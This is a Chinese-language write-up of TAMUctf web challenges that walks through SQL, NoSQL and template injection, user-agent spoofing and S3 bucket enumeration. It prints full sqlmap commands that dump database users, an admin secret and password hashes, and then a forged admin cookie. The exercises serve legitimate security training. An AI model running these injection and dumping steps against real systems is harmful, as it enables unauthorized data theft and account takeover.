很简单,但是还是把笔记放上来吧。
Not Another SQLi Challenge
题目:http://web1.tamuctf.com/
打开是个登录界面,直接SQL注入getflag:
Robots Rule
题目:http://web5.tamuctf.com/
打开页面,提示ROBOTS:
直接访问robots.txt,内容如下:
大致意思就是告诉它有一个Google robots,直接更换UserAgent为googlebot即谷歌爬虫,从而getflag:
Many Gig’ems to you!
题目:http://web7.tamuctf.com/
打开页面,发现有两个按钮,且页面存在大量图片:
右键查看源码,发现图片中的alt属性值有蹊跷:
找到了一个gigem{flag_in_
字符串,退出剩下的应该在其他页面中找到。
点击Gigs!按钮时当前主页面,点击Cookies!跳转到cookies.html页面,该页面也存在大量图片,同理查看源码:
发现如下可以字符串:gigem{_continued=source_and_
。
最后,根据cookies提示,查看报文的cookie值,其中有个cookies.js设置cookie值,看到其中关联的字符串gigem_continue=cookies}
:
一切清晰了,拼起来就是gigem{flag_in_source_and_cookies}
,这就是flag。
Science!
题目:http://web3.tamuctf.com/
访问题目,提示是Python Flask搭建的Web服务,其中可以输入内容查询,推测是SSTI即服务端模板注入攻击:
验证一下,在其中一个输入框输入579
,结果返回了该表达式执行的结果,证明了存在SSTI漏洞:
接着上任意文件读取payload即可:
Buckets
题目:http://tamuctf.s3-website-us-west-2.amazonaws.com/
访问网页,说狗肯定比猫好,背景是狗的图片,除此之外没啥了:
查看页面源码,有两段提示,大概说的是这是作者第一个AWS Web页面,用的是S3 buckets框架,且passowrd在Dogs附近:
这里涉及到AWS S3 buckets框架的一个知识点,就是访问http://tamuctf.s3-website-us-west-2.amazonaws.com/
,也可以通过访问http://tamuctf.s3.amazonaws.com/
实现,是一样的。
访问Key标签的URL即可getflag:
Login App
题目:http://web4.tamuctf.com/
访问页面,是个提供输入用户名和密码的登录界面,但是怎么输入都没有反应,查看页面源码,关键部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| ... .form .register-form { display: none; } ... <div class="login-page"> <div class="form"> <form class="register-form"> <input type="text" placeholder="name"/> <input type="password" placeholder="password"/> <input type="text" placeholder="email address"/> <button>create</button> </form> <form class="login-form"> <input id="username" type="text" placeholder="username"/> <input id="password" type="password" placeholder="password"/> <button id="submit">login</button> </form> </div> </div>
<script> $("#submit").on('click', function(){ $.ajax({ url: 'login', type : "POST", dataType : 'json', data : JSON.stringify({"username": $("#username").val(), "password": $("#password").val()}), contentType: 'application/json;charset=UTF-8', success : function(result) { $(".result").html(result); console.log(result); alert(result); }, error: function(xhr, resp, text) { $(".result").html("Something went wrong"); console.log(xhr, resp, text); } }) }); </script> ...
|
虽然在页面中隐藏了注册表单,但是没啥用,因为后面的JS代码只会在id为submit的元素被点击时触发,而只有登录的表单含有该id元素;注意到JS代码的作用,它以POST方法请求的是/login,以Json格式上传username和password参数,Content-Type设置为application/json,构造报文尝试一下:
成功返回数据。这里看到登录的参数是通过Json格式提交的,可以推测是一道NoSQL注入题目。
这里尝试使用$ne即not equal不相等,用来查询某个记录不等于该值的所有记录。
我们知道密码不为空,参考网上的NoSQL注入payload,那我们就直接输入payload如下就getflag了:
Bird Box Challenge
题目:http://web2.tamuctf.com/
提示了:We’ve got Aggies, Trucks, and Eggs!
访问网页,是一个提供输入的查询页面:
随便输入,会找不到东西,但是输入提示的内容就会显示相应的东西:
关注到页面并没有其他的功能点了,抓包也确认了确实只有Search.php的Search参数存在注入点,且页面没有直接返回错误信息,猜测应该就是SQL盲注吧,且在抓包过程发现,输入eggs即正常数据以及输入查询不到的数据,服务端都是返回500,但其他出错查询时就返回400:
下面就上sqlmap跑起来,但是一开始没有跑出啥东西,经过测试发现是校验了UserAgent,后台对UserAgent为sqlmap的报文进行了过滤,而sqlmap默认的UA即包含sqlmap字样:
sqlmap中先加入–random-agent,跑出为mysql,然后–dbs参数跑出两个数据库,当然可以添加–technique=BT指定基于布尔和时间的盲注来提高效率:
1 2 3 4 5
| root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql --dbs ... available databases [2]: [*] information_schema [*] SqliDB
|
然后-D参数指定SqliDB数据库,–tables参数跑出表Search:
1 2 3 4 5 6 7
| root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql -D SqliDB --tables ... Database: SqliDB [1 table] +--------+ | Search | +--------+
|
-T参数指定Search表,–columns参数跑出表项items:
1 2 3 4 5 6 7 8 9 10
| root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql -D SqliDB -T Search --columns ... Database: SqliDB Table: Search [1 column] +--------+--------------+ | Column | Type | +--------+--------------+ | items | varchar(100) | +--------+--------------+
|
–dump参数将表项的内容全列出来:
1 2 3 4 5 6 7 8 9 10 11 12
| root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql -D SqliDB -T Search --dump ... Database: SqliDB Table: Search [3 entries] +--------+ | items | +--------+ | Aggies | | Eggs | | Trucks | +--------+
|
发现是提示的几个内容,也就是说数据库只保存了这几个东西,flag并不在此。
–users参数查询一下所有用户,发现有且仅有一个的用户名就是flag:
1 2 3 4
| root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql --users ... database management system users [1]: [*] 'gigem{w3_4r3_th3_4ggi3s}'@'localhost'
|
1337 Secur1ty
题目:http://web6.tamuctf.com/
访问页面,有个登录窗口和注册窗口:
在注册的响应报文中,发现设置cookie的信息:
注册完成后,有3个页面如下:
Profile中显示个人注册信息,并且可以修改:
Messages中显示收到的消息,并且可以写新消息发送给别人:
Employees中可以看到所有注册的人的消息:
从这里可以分析得出,Alan是我注册的用户,这里ID为5,和cookie中userid为5是对应的,也就是说,1337-admin的userid为1,还需要知道它的cookie中secret的属性值才能登上admin的用户来访问。
现在问题转变为,如何获取secret呢?界面功能有限,一个个点,抓包观察,发现Messages的消息列表可以点进去,且似乎有个id参数注入点:
直接丢到sqlmap,发现id参数确实可注入。接着添加sqlmap其他参数让它自己表演就可以了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| root@kali:~# sqlmap -u "http://web6.tamuctf.com/message?id=1" -p id --dbms mysql --dbs ... available databases [2]: [*] 1337_Secur1ty [*] information_schema
root@kali:~# sqlmap -u "http://web6.tamuctf.com/message?id=1" -p id --dbms mysql -D 1337_Secur1ty --tables ... Database: 1337_Secur1ty [2 tables] +----------+ | Messages | | Users | +----------+
root@kali:~# sqlmap -u "http://web6.tamuctf.com/message?id=1" -p id --dbms mysql -D 1337_Secur1ty -T Users --columns ... Database: 1337_Secur1ty Table: Users [10 columns] +-------------+--------------+ | Column | Type | +-------------+--------------+ | CreateDate | datetime | | Description | varchar(200) | | Email | varchar(37) | | FirstName | varchar(10) | | LastName | varchar(15) | | Password | varchar(50) | | Phone | varchar(10) | | Secret | varchar(50) | | UserID | int(9) | | Username | varchar(20) | +-------------+--------------+
root@kali:~# sqlmap -u "http://web6.tamuctf.com/message?id=1" -p id --dbms mysql -D 1337_Secur1ty -T Users --dump ... Database: 1337_Secur1ty Table: Users [2 entries] +--------+---------+-----------------------------+------------------+------------+----------+----------------------------------+-----------+---------------------+--------------------------------------------+ | UserID | Phone | Email | Secret | Username | LastName | Password | FirstName | CreateDate | Description | +--------+---------+-----------------------------+------------------+------------+----------+----------------------------------+-----------+---------------------+--------------------------------------------+ | 1 | <blank> | 1337-admin@l337secur1ty.hak | WIFHXDZ3BOHJMJSC | 1337-admin | Joeson | 02ca0b0603222a090fe2fbf3ba97d90c | Joe | 2019-03-10 07:27:46 | Most secure admin to ever grace existence. | | 2 | <blank> | ScrubLord@l337secur1ty.hak | 4VCLO52ALSUUO5OM | ScrubLord | Bobson | fc8b8be2abe4a79bf6f36eee484c1f08 | Bob | 2019-03-10 07:27:46 | That random intern. | +--------+---------+-----------------------------+------------------+------------+----------+----------------------------------+-----------+---------------------+--------------------------------------------+
|
可以看到,通过sqlmap将Users表中的信息dump下来,其中含有1337-admin用户的secret消息即WIFHXDZ3BOHJMJSC。
现在退出当前用户,带上这段header字段Cookie: userid=1; secret=WIFHXDZ3BOHJMJSC
访问即可getflag: